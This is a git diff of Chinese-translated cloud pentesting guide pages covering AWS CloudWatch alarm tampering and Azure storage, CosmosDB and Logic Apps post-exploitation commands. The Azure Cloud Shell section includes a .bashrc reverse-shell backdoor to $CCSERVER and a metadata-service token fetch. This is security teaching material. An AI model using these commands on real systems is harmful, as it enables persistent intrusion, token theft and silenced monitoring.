-| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** |
+| 术语 | 定义 |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **日志组** | 一组 **共享相同保留、监控和访问控制设置的日志流** |
| **日志流** | 一系列 **共享相同来源的日志事件** |
| **订阅过滤器** | 定义一个 **匹配特定日志组中事件的过滤模式**,将其发送到 Kinesis Data Firehose 流、Kinesis 流或 Lambda 函数 |
### CloudWatch 监控与事件
-CloudWatch **基本** 每 **5 分钟** 聚合数据(**详细** 每 **1 分钟** 聚合一次)。在聚合后,它 **检查警报的阈值**,以确定是否需要触发一个。\
-在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。
+CloudWatch **基本** 每 5 分钟聚合数据(**详细** 每 1 分钟聚合一次)。在聚合后,它 **检查警报的阈值**,以防需要触发一个。\
+在这种情况下,CloudWatch 可以准备发送事件并执行一些自动操作(AWS Lambda 函数、SNS 主题、SQS 队列、Kinesis 流)。
### 代理安装
您可以在机器/容器内部安装代理,以自动将日志发送回 CloudWatch。
-- **创建** 一个 **角色** 并 **附加** 到具有允许 CloudWatch 从实例收集数据的权限的 **实例**,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
+- **创建** 一个 **角色** 并 **附加** 到 **实例**,赋予 CloudWatch 收集实例数据的权限,并与 AWS 系统管理器 SSM 交互(CloudWatchAgentAdminPolicy 和 AmazonEC2RoleforSSM)
- **下载** 并 **安装** **代理** 到 EC2 实例上 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip))。您可以从 EC2 内部下载,或使用 AWS 系统管理器自动安装,选择包 AWS-ConfigureAWSPackage
- **配置** 并 **启动** CloudWatch Agent
@@ -212,13 +212,13 @@ aws events describe-event-source --name aws events list-replays
aws events list-api-destinations
aws events list-event-buses
```
-## 后期利用 / 绕过
+## Post-Exploitation / Bypass
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
-拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或使合法警报失效,有效掩盖恶意活动并阻止对实际事件的及时响应。
+拥有这些权限的攻击者可能会严重削弱组织的监控和警报基础设施。通过删除现有警报,攻击者可以禁用通知管理员关键性能问题、安全漏洞或操作故障的重要警报。此外,通过创建或修改指标警报,攻击者还可以用虚假警报误导管理员或静音合法警报,有效掩盖恶意活动并阻止对实际事件的及时响应。
-此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该循环的复合警报,因为总是还有一个依赖于您想要删除的警报的复合警报。
+此外,拥有 **`cloudwatch:PutCompositeAlarm`** 权限的攻击者将能够创建一个复合警报的循环或周期,其中复合警报 A 依赖于复合警报 B,而复合警报 B 也依赖于复合警报 A。在这种情况下,无法删除任何属于该循环的复合警报,因为总是还有一个复合警报依赖于您想要删除的警报。
```bash
aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ]
aws cloudwatch delete-alarms --alarm-names
@@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
```
以下示例展示了如何使指标警报失效:
-- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个超过 60%,则警报将触发并向指定的 SNS 主题发送通知。
-- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640(因为 8640 个 10 秒的周期等于 1 天),并将报警的数据点设置为 8640,CPU 利用率必须在整个 24 小时内每 10 秒超过 99% 才能触发警报。
+- 此指标警报监控特定 EC2 实例的平均 CPU 利用率,每 300 秒评估一次指标,并需要 6 个评估周期(总共 30 分钟)。如果平均 CPU 利用率在这 6 个周期中至少有 4 个周期超过 60%,则警报将触发并向指定的 SNS 主题发送通知。
+- 通过将阈值修改为超过 99%,将周期设置为 10 秒,将评估周期设置为 8640(因为 8640 个 10 秒的周期等于 1 天),并将数据点设置为警报也为 8640,CPU 利用率在整个 24 小时内每 10 秒都超过 99% 才能触发警报。
{{#tabs }}
{{#tab name="Original Metric Alarm" }}
@@ -279,7 +279,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
{{#endtab }}
{{#endtabs }}
-**潜在影响**:缺乏对关键事件的通知,可能存在未被检测的问题,虚假警报,抑制真实警报,并可能错过对真实事件的检测。
+**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
@@ -287,17 +287,17 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--
此外,拥有权限的攻击者可以操纵警报状态,能够创建虚假警报以分散和混淆管理员,或静音真实警报以掩盖正在进行的恶意活动或关键系统故障。
-- 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回其实际状态。如果您更新其配置,它也会被重新评估。
+- 如果您在复合警报上使用 **`SetAlarmState`**,则复合警报不保证返回其实际状态。只有在其子警报状态发生变化时,它才会返回到其实际状态。如果您更新其配置,它也会被重新评估。
```bash
aws cloudwatch disable-alarm-actions --alarm-names
aws cloudwatch enable-alarm-actions --alarm-names
aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ]
```
-**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,错误警报,抑制真实警报,可能错过对真实事件的检测。
+**潜在影响**:缺乏对关键事件的通知,可能未被检测到的问题,虚假警报,抑制真实警报,可能错过对真实事件的检测。
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
-攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造误报,以分散或压倒监控。
+攻击者将能够破坏检测和响应指标数据中异常模式或异常的能力。通过删除现有的异常检测器,攻击者可以禁用关键的警报机制;通过创建或修改它们,攻击者能够错误配置或制造虚假警报,以分散或压倒监控。
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ]
aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ]
@@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace
aws cloudwatch put-dashboard --dashboard-name --dashboard-body
@@ -370,11 +370,11 @@ aws cloudwatch delete-insight-rules --rule-names
aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ]
aws cloudwatch put-managed-insight-rules --managed-rules
```
-**潜在影响**:难以检测和响应性能问题和异常,错误的信息决策,可能掩盖恶意活动或系统故障。
+**潜在影响**:难以检测和响应性能问题和异常,错误的决策以及可能掩盖恶意活动或系统故障。
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
-通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性的规则,可能会生成虚假数据,制造噪音,或掩盖恶意活动。
+通过禁用关键的洞察规则,攻击者可以有效地使组织对关键性能和安全指标失去警觉。相反,通过启用或配置误导性规则,可能会生成虚假数据,制造噪音,或隐藏恶意活动。
```bash
aws cloudwatch disable-insight-rules --rule-names
aws cloudwatch enable-insight-rules --rule-names
@@ -385,7 +385,7 @@ aws cloudwatch enable-insight-rules --rule-names
拥有 **`cloudwatch:DeleteMetricStream`** 和 **`cloudwatch:PutMetricStream`** 权限的攻击者将能够创建和删除指标数据流,从而危害安全性、监控和数据完整性:
-- **创建恶意流**:创建指标流以将敏感数据发送到未经授权的目的地。
+- **创建恶意流**:创建指标流,将敏感数据发送到未经授权的目的地。
- **资源操控**:创建具有过多数据的新指标流可能会产生大量噪音,导致错误警报,掩盖真实问题。
- **监控中断**:删除指标流,攻击者将中断监控数据的持续流动。这样,他们的恶意活动将有效隐藏。
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
index 38d795084..08b9a4f03 100644
--- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md
@@ -6,25 +6,17 @@
Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点:
-* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束也保持不变。
-* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,允许在云 shell 启动时进行持久执行。
+* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持完整。
+* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,从而在云 shell 启动时实现持久执行。
Example backdoor in .bashrc:
-
-{% code overflow="wrap" %}
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
-{% endcode %}
-
这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。
此外,查询 Azure 的元数据服务以获取实例详细信息和令牌:
-{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 337a72ff7..6336ed7c8 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
-## 存储权限提升
+## Storage Privesc
有关存储的更多信息,请查看:
@@ -10,7 +10,7 @@
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
具有此权限的主体将能够**列出**容器内的 blob(文件)并**下载**可能包含**敏感信息**的文件。
```bash
@@ -24,7 +24,7 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
具有此权限的主体将能够**在容器中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在 blob 中的某些代码):
```bash
@@ -36,6 +36,6 @@ az storage blob upload \
```
### \*/delete
-这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失有价值的信息**。
+这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失重要信息**。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index d1f6eb354..08bc846ea 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -5,27 +5,21 @@
## CosmosDB 后期利用
有关 SQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
拥有此权限,您可以创建或更新 Azure Cosmos DB 账户。这包括修改账户级别设置、添加或删除区域、改变一致性级别,以及启用或禁用多区域写入等功能。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库中创建或修改容器(集合)。容器用于存储数据,对它们的更改可能会影响数据库的结构和访问模式。
-
-{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
-拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限使数据库创建成为可能,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
+拥有此权限,您可以在 Azure Cosmos DB 帐户中创建或修改 SQL 数据库。这允许管理数据库结构并向帐户添加新数据库。虽然此权限允许创建数据库,但不当或未经授权的使用可能导致不必要的资源消耗、成本增加或操作效率低下。
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
通过此权限,您可以更改 Azure Cosmos DB 数据库帐户的区域故障转移优先级。此操作确定在故障转移事件中,区域成为主区域的顺序。错误使用此权限可能会干扰数据库的高可用性或导致意外的操作影响。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
通过此权限,您可以为 Azure Cosmos DB 帐户重新生成主密钥或辅助密钥。这通常用于通过替换旧密钥来增强安全性,但可能会干扰依赖当前密钥的服务或应用程序的访问。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在响应操作时执行服务器端逻辑。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改存储过程。Cosmos DB 中的存储过程是服务器端的 JavaScript 函数,允许您封装处理数据或直接在数据库中执行操作的逻辑。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
-通过此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作时执行服务器端逻辑。
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
+拥有此权限,您可以在 Azure Cosmos DB 帐户的 SQL 数据库容器中创建或修改触发器。触发器允许您在插入、更新或删除等操作发生时执行服务器端逻辑。
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
-通过此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
+拥有此权限,您可以在 Azure Cosmos DB 帐户中的 MongoDB 数据库内创建或修改集合。集合用于存储文档并定义数据的结构和分区。
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
-拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许为存储和管理集合及文档提供新的数据库。
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
+拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 数据库。这允许配置新的数据库以存储和管理集合和文档。
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
-拥有此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库提供具有特定角色和访问级别的用户。
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
+通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库配置具有特定角色和访问级别的用户。
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index 29d73dd98..4a6b42638 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -10,7 +10,7 @@
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
具有此权限的主体将能够**列出**文件共享中的文件并**下载**可能包含**敏感信息**的文件。
```bash
@@ -28,9 +28,9 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
-具有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码):
+拥有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码):
```bash
az storage blob upload \
--account-name \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index 6072f646a..76b034572 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -1,18 +1,16 @@
-# Az - Logic Apps 后期利用
+# Az - Logic Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Logic Apps 数据库后期利用
有关逻辑应用的更多信息,请查看:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
-拥有这些权限后,您可以修改 Logic App 工作流并管理其身份。具体来说,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得 Logic App 能够在没有显式凭据的情况下进行身份验证并访问其他 Azure 资源。
-
-{% code overflow="wrap" %}
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
+通过这些权限,您可以修改逻辑应用工作流并管理其身份。具体而言,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得逻辑应用能够在没有明确凭据的情况下进行身份验证并访问其他 Azure 资源。
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
-拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制执行。
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
+拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制。
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
-拥有此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程,触发意外操作,或通过意外启动、停止或重启 Logic Apps 导致停机。
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
+通过此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程,触发意外操作,或通过意外启动、停止或重启 Logic Apps 导致停机。
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
-
-通过此权限,您可以配置或修改 web 应用的设置,包括托管在 App Service Plan 上的 Logic Apps。这允许更改应用设置、连接字符串、身份验证配置等。
-
-{% code overflow="wrap" %}
+通过此权限,您可以配置或修改 Web 应用的设置,包括托管在应用服务计划上的逻辑应用。这允许更改应用设置、连接字符串、身份验证配置等。
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
+### `Microsoft.Logic/integrationAccounts/write`
拥有此权限,您可以创建、更新或删除 Azure Logic Apps 集成帐户。这包括管理集成帐户级别的配置,如映射、模式、合作伙伴、协议等。
-
-{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
-
-拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入消息以进行批处理。
-
-{% code overflow="wrap" %}
+通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入消息以进行批处理。
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改映射。映射用于将数据从一种格式转换为另一种格式,从而实现不同系统和应用程序之间的无缝集成。
-
-{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
-通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业(B2B)工作流的实体或系统。
-
-{% code overflow="wrap" %}
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
+拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业 (B2B) 工作流的实体或系统。
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
通过此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改会话。会话用于 B2B 工作流,以在定义的时间段内对消息进行分组并跟踪相关交易。
-
-{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group \
@@ -147,10 +112,8 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
-通过此权限,您可以删除与 Azure Logic Apps 相关的资源
+凭借此权限,您可以删除与 Azure Logic Apps 相关的资源
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index 43cc34e79..3ffb08615 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -5,54 +5,40 @@
## MySQL 数据库后期利用
有关 MySQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
